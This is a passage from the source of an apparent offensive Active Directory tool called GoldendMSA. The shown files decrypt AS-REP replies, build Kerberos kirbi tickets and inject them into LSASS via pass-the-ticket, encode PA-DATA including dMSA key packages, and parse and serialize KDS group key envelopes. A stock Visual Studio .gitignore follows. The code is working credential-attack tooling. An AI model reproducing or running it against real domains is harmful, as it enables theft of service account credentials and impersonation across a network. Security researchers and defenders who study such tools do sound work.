88 | Console.WriteLine($"[!] Warning: Supplied encyption key type is {etype} but AS-REP contains data encrypted with {(Interop.KERB_ETYPE)rep.enc_part.etype}");
89 | }
90 |
91 |
92 | byte[] outBytes;
93 |
94 | if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
95 | {
96 | outBytes = Cryptography.CryptoActions.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
97 | }
98 | else
99 | {
100 | throw new Exception("[X] Encryption type \"" + etype + "\" not currently supported");
101 | }
102 |
103 | AsnElt ae = null;
104 | bool decodeSuccess = false;
105 | try
106 | {
107 | ae = AsnElt.Decode(outBytes, false);
108 | if (ae.TagValue == 25)
109 | {
110 | decodeSuccess = true;
111 | }
112 | }
113 | catch (Exception ex)
114 | {
115 | Console.WriteLine("[X] Error parsing encrypted part of AS-REP: " + ex.Message);
116 | }
117 |
118 | if (decodeSuccess == false)
119 | {
120 | Console.WriteLine($"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected");
121 | return null;
122 | }
123 |
124 | EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
125 |
126 | KRB_CRED cred = new KRB_CRED();
127 |
128 | cred.tickets.Add(rep.ticket);
129 |
130 |
131 | KrbCredInfo info = new KrbCredInfo();
132 |
133 | info.key.keytype = encRepPart.key.keytype;
134 | info.key.keyvalue = encRepPart.key.keyvalue;
135 |
136 | info.prealm = encRepPart.realm;
137 |
138 | info.pname.name_type = rep.cname.name_type;
139 | info.pname.name_string = rep.cname.name_string;
140 |
141 | info.flags = encRepPart.flags;
142 |
143 |
144 | info.starttime = encRepPart.starttime;
145 |
146 | info.endtime = encRepPart.endtime;
147 |
148 | info.renew_till = encRepPart.renew_till;
149 |
150 | info.srealm = encRepPart.realm;
151 |
152 | info.sname.name_type = encRepPart.sname.name_type;
153 | info.sname.name_string = encRepPart.sname.name_string;
154 |
155 | cred.enc_part.ticket_info.Add(info);
156 |
157 | byte[] kirbiBytes = cred.Encode().Encode();
158 | string kirbiString = Convert.ToBase64String(kirbiBytes);
159 |
160 | Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
161 | Console.WriteLine(" {0}", kirbiString);
162 | Console.WriteLine("");
163 |
164 | if (ptt || ((ulong)luid != 0))
165 | {
166 | // pass-the-ticket -> import into LSASS
167 | LSA.ImportTicket(kirbiBytes, luid);
168 | }
169 | return kirbiBytes;
170 | }
171 |
172 | }
173 | }
174 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_DATA.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Security.Cryptography.X509Certificates;
4 | using System.Security.Cryptography;
5 |
6 |
7 | namespace GoldendMSA {
8 | public class PA_DATA
9 | {
10 | public static readonly Oid DiffieHellman = new Oid("1.2.840.10046.2.1");
11 |
12 | //PA-DATA ::= SEQUENCE {
13 | // -- NOTE: first tag is [1], not [0]
14 | // padata-type [1] Int32,
15 | // padata-value [2] OCTET STRING -- might be encoded AP-REQ
16 | //}
17 |
18 | public PA_DATA(bool pac = true)
19 | {
20 | // defaults for creation
21 | type = Interop.PADATA_TYPE.PA_PAC_REQUEST;
22 |
23 | value = new KERB_PA_PAC_REQUEST(pac);
24 | }
25 |
26 | public PA_DATA(string keyString, Interop.KERB_ETYPE etype)
27 | {
28 | // include pac, supply enc timestamp
29 |
30 | type = Interop.PADATA_TYPE.ENC_TIMESTAMP;
31 |
32 | PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC();
33 |
34 | byte[] rawBytes = temp.Encode().Encode();
35 | byte[] key = Helpers.StringToByteArray(keyString);
36 |
37 | // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1
38 |
39 | byte[] encBytes = Cryptography.CryptoActions.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes);
40 |
41 | value = new EncryptedData((int)etype, encBytes);
42 | }
43 |
44 |
45 | public PA_DATA(AsnElt body)
46 | {
47 | //if (body.Sub.Length != 2)
48 | //{
49 | // throw new System.Exception("PA-DATA should contain two elements");
50 | //}
51 |
52 | //Console.WriteLine("tag: {0}", body.Sub[0].Sub[0].TagValue);
53 | try
54 | {
55 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger();
56 | byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString();
57 | }
58 | catch
59 | {
60 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger();
61 | byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString();
62 | }
63 |
64 | switch (type) {
65 | case Interop.PADATA_TYPE.PA_PAC_REQUEST:
66 | value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
67 | break;
68 |
69 | case Interop.PADATA_TYPE.PK_AS_REP:
70 | value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
71 | break;
72 | case Interop.PADATA_TYPE.PA_S4U_X509_USER:
73 | break;
74 | case Interop.PADATA_TYPE.ETYPE_INFO2:
75 | value = new ETYPE_INFO2_ENTRY(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
76 | break;
77 | case Interop.PADATA_TYPE.SUPERSEDED_BY_USER:
78 | value = new PA_SUPERSEDED_BY_USER(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
79 | break;
80 | case Interop.PADATA_TYPE.DMSA_KEY_PACKAGE:
81 | value = new PA_DMSA_KEY_PACKAGE(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
82 | break;
83 | }
84 | }
85 |
86 | public AsnElt Encode()
87 | {
88 | // padata-type [1] Int32
89 | AsnElt typeElt = AsnElt.MakeInteger((long)type);
90 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt });
91 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq);
92 |
93 | AsnElt paDataElt;
94 | if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
95 | {
96 | // used for AS-REQs
97 |
98 | // padata-value [2] OCTET STRING -- might be encoded AP-REQ
99 | paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode();
100 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt);
101 |
102 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
103 | return seq;
104 | }
105 | else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
106 | {
107 | // used for AS-REQs
108 | AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode());
109 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
110 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
111 |
112 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq });
113 | return seq;
114 | }
115 | else if (type == Interop.PADATA_TYPE.PA_PAC_OPTIONS)
116 | {
117 | AsnElt blob = AsnElt.MakeBlob(((PA_PAC_OPTIONS)value).Encode().Encode());
118 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
119 |
120 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
121 |
122 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
123 | return seq;
124 | }
125 | else if(type == Interop.PADATA_TYPE.PK_AS_REQ) {
126 |
127 | AsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode());
128 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
129 |
130 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
131 |
132 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
133 | return seq;
134 | }
135 | else if (type == Interop.PADATA_TYPE.KEY_LIST_REQ)
136 | {
137 |
138 | AsnElt blob = AsnElt.MakeBlob(((PA_KEY_LIST_REQ)value).Encode().Encode());
139 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
140 |
141 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
142 |
143 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
144 | return seq;
145 | }
146 | else
147 | {
148 | return null;
149 | }
150 | }
151 |
152 | public Interop.PADATA_TYPE type { get; set; }
153 |
154 | public Object value { get; set; }
155 | }
156 | }
--------------------------------------------------------------------------------
/GoldendMSA/GroupKeyEnvelope.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace GoldendMSA
8 | {
9 | public class GroupKeyEnvelope
10 | {
11 | public int Version { get; set; }
12 | public int Reserved { get; set; }
13 | public int isPublicKey { get; set; }
14 | public int L0Index { get; set; }
15 | public int L1Index { get; set; }
16 | public int L2Index { get; set; }
17 | public Guid RootKeyIdentifier { get; set; }
18 | public int cbKDFAlgorithm { get; set; }
19 | public int cbKDFParameters { get; set; }
20 | public int cbSecretAgreementAlgorithm { get; set; }
21 | public int cbSecretAgreementParameters { get; set; }
22 | public int PrivateKeyLength { get; set; }
23 | public int PublicKeyLength { get; set; }
24 | public int cbL1Key { get; set; }
25 | public int cbL2Key { get; set; }
26 | public int cbDomainName { get; set; }
27 | public int cbForestName { get; set; }
28 | public string KDFAlgorithm { get; set; }
29 | public byte[] KDFParameters { get; set; }
30 | public string SecretAgreementAlgorithm { get; set; }
31 | public byte[] SecretAgreementParameters { get; set; }
32 | public string DomainName { get; set; }
33 | public string ForestName { get; set; }
34 | public byte[] L1Key { get; set; } // 64 in size
35 | public byte[] L2Key { get; set; } // 64 in size
36 |
37 |
38 | public GroupKeyEnvelope()
39 | {
40 | }
41 |
42 | public GroupKeyEnvelope(byte[] gkeBytes)
43 | {
44 | Version = BitConverter.ToInt32(gkeBytes, 0);
45 | Reserved = BitConverter.ToInt32(gkeBytes, 4);
46 | isPublicKey = BitConverter.ToInt32(gkeBytes, 8);
47 | L0Index = BitConverter.ToInt32(gkeBytes, 12);
48 | L1Index = BitConverter.ToInt32(gkeBytes, 16);
49 | L2Index = BitConverter.ToInt32(gkeBytes, 20);
50 | byte[] temp = new byte[16];
51 | Array.Copy(gkeBytes, 24, temp, 0, 16);
52 | RootKeyIdentifier = new Guid(temp);
53 | cbKDFAlgorithm = BitConverter.ToInt32(gkeBytes, 40);
54 | cbKDFParameters = BitConverter.ToInt32(gkeBytes, 44);
55 | cbSecretAgreementAlgorithm = BitConverter.ToInt32(gkeBytes, 48);
56 | cbSecretAgreementParameters = BitConverter.ToInt32(gkeBytes, 52);
57 | PrivateKeyLength = BitConverter.ToInt32(gkeBytes, 56);
58 | PublicKeyLength = BitConverter.ToInt32(gkeBytes, 60);
59 | cbL1Key = BitConverter.ToInt32(gkeBytes, 64);
60 | cbL2Key = BitConverter.ToInt32(gkeBytes, 68);
61 | cbDomainName = BitConverter.ToInt32(gkeBytes, 72);
62 | cbForestName = BitConverter.ToInt32(gkeBytes, 76);
63 |
64 | int curIndex = 80;
65 | KDFAlgorithm = Encoding.Unicode.GetString(gkeBytes, curIndex, cbKDFAlgorithm);
66 |
67 | curIndex += cbKDFAlgorithm;
68 | Array.Copy(gkeBytes, curIndex, KDFParameters, 0, cbKDFParameters);
69 |
70 | curIndex += cbKDFParameters;
71 | SecretAgreementAlgorithm = Encoding.Unicode.GetString(gkeBytes, curIndex, cbSecretAgreementAlgorithm);
72 |
73 | curIndex += cbSecretAgreementAlgorithm;
74 | Array.Copy(gkeBytes, curIndex, SecretAgreementParameters, 0, cbSecretAgreementParameters);
75 |
76 | curIndex += cbSecretAgreementParameters;
77 | DomainName = Encoding.Unicode.GetString(gkeBytes, curIndex, cbDomainName);
78 |
79 | curIndex += cbDomainName;
80 | ForestName = Encoding.Unicode.GetString(gkeBytes, curIndex, cbForestName);
81 |
82 | if (cbL1Key > 0)
83 | Array.Copy(gkeBytes, curIndex + cbForestName, L1Key, 0, cbL1Key);
84 | else
85 | L1Key = null;
86 |
87 | if (cbL2Key > 0)
88 | Array.Copy(gkeBytes, curIndex + cbForestName + cbL1Key, L2Key, 0, cbL2Key);
89 | else
90 | L2Key = null;
91 | }
92 |
93 |
94 | public byte[] Serialize()
95 | {
96 | int gkeSize = 80 + cbKDFAlgorithm + cbKDFParameters + cbSecretAgreementAlgorithm + cbSecretAgreementParameters + cbDomainName + cbForestName + cbL1Key + cbL2Key;
97 | byte[] gkeBytes = new byte[gkeSize];
98 |
99 | BitConverter.GetBytes(Version).CopyTo(gkeBytes, 0);
100 | BitConverter.GetBytes(Reserved).CopyTo(gkeBytes, 4);
101 | BitConverter.GetBytes(isPublicKey).CopyTo(gkeBytes, 8);
102 | BitConverter.GetBytes(L0Index).CopyTo(gkeBytes, 12);
103 | BitConverter.GetBytes(L1Index).CopyTo(gkeBytes, 16);
104 | BitConverter.GetBytes(L2Index).CopyTo(gkeBytes, 20);
105 | RootKeyIdentifier.ToByteArray().CopyTo(gkeBytes, 24);
106 | BitConverter.GetBytes(cbKDFAlgorithm).CopyTo(gkeBytes, 40);
107 | BitConverter.GetBytes(cbKDFParameters).CopyTo(gkeBytes, 44);
108 | BitConverter.GetBytes(cbSecretAgreementAlgorithm).CopyTo(gkeBytes, 48);
109 | BitConverter.GetBytes(cbSecretAgreementParameters).CopyTo(gkeBytes, 52);
110 | BitConverter.GetBytes(PrivateKeyLength).CopyTo(gkeBytes, 56);
111 | BitConverter.GetBytes(PublicKeyLength).CopyTo(gkeBytes, 60);
112 | BitConverter.GetBytes(cbL1Key).CopyTo(gkeBytes, 64);
113 | BitConverter.GetBytes(cbL2Key).CopyTo(gkeBytes, 68);
114 | BitConverter.GetBytes(cbDomainName).CopyTo(gkeBytes, 72);
115 | BitConverter.GetBytes(cbForestName).CopyTo(gkeBytes, 76);
116 | Encoding.Unicode.GetBytes(KDFAlgorithm).CopyTo(gkeBytes, 80);
117 |
118 | int curIndex = 80 + cbKDFAlgorithm;
119 | KDFParameters.CopyTo(gkeBytes, curIndex);
120 |
121 | curIndex += cbKDFParameters;
122 | Encoding.Unicode.GetBytes(SecretAgreementAlgorithm).CopyTo(gkeBytes, curIndex);
123 |
124 | curIndex += cbSecretAgreementAlgorithm;
125 | SecretAgreementParameters.CopyTo(gkeBytes, curIndex);
126 |
127 | curIndex += cbSecretAgreementParameters;
128 | Encoding.Unicode.GetBytes(DomainName).CopyTo(gkeBytes, curIndex);
129 |
130 | curIndex += cbDomainName;
131 | Encoding.Unicode.GetBytes(ForestName).CopyTo(gkeBytes, curIndex);
132 |
133 | curIndex += cbForestName;
134 | L1Key.CopyTo(gkeBytes, curIndex);
135 |
136 | curIndex += cbL1Key;
137 | L1Key.CopyTo(gkeBytes, curIndex);
138 |
139 | return gkeBytes;
140 | }
141 |
142 | public string ToBase64String()
143 | {
144 | return Convert.ToBase64String(this.Serialize());
145 | }
146 | }
147 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbCredInfo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class KrbCredInfo
9 | {
10 | //KrbCredInfo ::= SEQUENCE {
11 | // key [0] EncryptionKey,
12 | // prealm [1] Realm OPTIONAL,
13 | // pname [2] PrincipalName OPTIONAL,
14 | // flags [3] TicketFlags OPTIONAL,
15 | // authtime [4] KerberosTime OPTIONAL,
16 | // starttime [5] KerberosTime OPTIONAL,
17 | // endtime [6] KerberosTime OPTIONAL,
18 | // renew-till [7] KerberosTime OPTIONAL,
19 | // srealm [8] Realm OPTIONAL,
20 | // sname [9] PrincipalName OPTIONAL,
21 | // caddr [10] HostAddresses OPTIONAL
22 | //}
23 |
24 | public KrbCredInfo()
25 | {
26 | key = new EncryptionKey();
27 |
28 | prealm = "";
29 |
30 | pname = new PrincipalName();
31 |
32 | flags = 0;
33 |
34 | srealm = "";
35 |
36 | sname = new PrincipalName();
37 | }
38 |
39 | public AsnElt Encode()
40 | {
41 | List asnElements = new List();
42 |
43 | // key [0] EncryptionKey
44 | AsnElt keyAsn = key.Encode();
45 | keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn);
46 | asnElements.Add(keyAsn);
47 |
48 |
49 | // prealm [1] Realm OPTIONAL
50 | if (!String.IsNullOrEmpty(prealm))
51 | {
52 | AsnElt prealmAsn = AsnElt.MakeString(AsnElt.UTF8String, prealm);
53 | prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn);
54 | AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn);
55 | prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq);
56 |
57 | asnElements.Add(prealmAsnSeq);
58 | }
59 |
60 |
61 | // pname [2] PrincipalName OPTIONAL
62 | if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0])))
63 | {
64 | AsnElt pnameAsn = pname.Encode();
65 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn);
66 | asnElements.Add(pnameAsn);
67 | }
68 |
69 |
70 | // pname [2] PrincipalName OPTIONAL
71 | byte[] flagBytes = BitConverter.GetBytes((UInt32)flags);
72 | if (BitConverter.IsLittleEndian)
73 | {
74 | Array.Reverse(flagBytes);
75 | }
76 | AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes);
77 | AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn });
78 | flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq);
79 | asnElements.Add(flagBytesSeq);
80 |
81 |
82 | // authtime [4] KerberosTime OPTIONAL
83 | if ((authtime != null) && (authtime != DateTime.MinValue))
84 | {
85 | AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ"));
86 | AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn });
87 | authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq);
88 | asnElements.Add(authtimeSeq);
89 | }
90 |
91 |
92 | // starttime [5] KerberosTime OPTIONAL
93 | if ((starttime != null) && (starttime != DateTime.MinValue))
94 | {
95 | AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ"));
96 | AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn });
97 | starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq);
98 | asnElements.Add(starttimeSeq);
99 | }
100 |
101 |
102 | // endtime [6] KerberosTime OPTIONAL
103 | if ((endtime != null) && (endtime != DateTime.MinValue))
104 | {
105 | AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ"));
106 | AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn });
107 | endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq);
108 | asnElements.Add(endtimeSeq);
109 | }
110 |
111 |
112 | // renew-till [7] KerberosTime OPTIONAL
113 | if ((renew_till != null) && (renew_till != DateTime.MinValue))
114 | {
115 | AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ"));
116 | AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn });
117 | renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq);
118 | asnElements.Add(renew_tillSeq);
119 | }
120 |
121 |
122 | // srealm [8] Realm OPTIONAL
123 | if (!String.IsNullOrEmpty(srealm))
124 | {
125 | AsnElt srealmAsn = AsnElt.MakeString(AsnElt.UTF8String, srealm);
126 | srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn);
127 | AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn);
128 | srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq);
129 | asnElements.Add(srealmAsnSeq);
130 | }
131 |
132 |
133 | // sname [9] PrincipalName OPTIONAL
134 | if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0])))
135 | {
136 | AsnElt pnameAsn = sname.Encode();
137 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn);
138 | asnElements.Add(pnameAsn);
139 | }
140 |
141 |
142 | // caddr [10] HostAddresses OPTIONAL
143 |
144 |
145 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray());
146 |
147 | return seq;
148 | }
149 |
150 | public EncryptionKey key { get; set; }
151 |
152 | public string prealm { get; set; }
153 |
154 | public PrincipalName pname { get; set; }
155 |
156 | public Interop.TicketFlags flags { get; set; }
157 |
158 | public DateTime authtime { get; set; }
159 |
160 | public DateTime starttime { get; set; }
161 |
162 | public DateTime endtime { get; set; }
163 |
164 | public DateTime renew_till { get; set; }
165 |
166 | public string srealm { get; set; }
167 |
168 | public PrincipalName sname { get; set; }
169 |
170 | // caddr (optional) - skipping for now
171 | }
172 | }
173 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
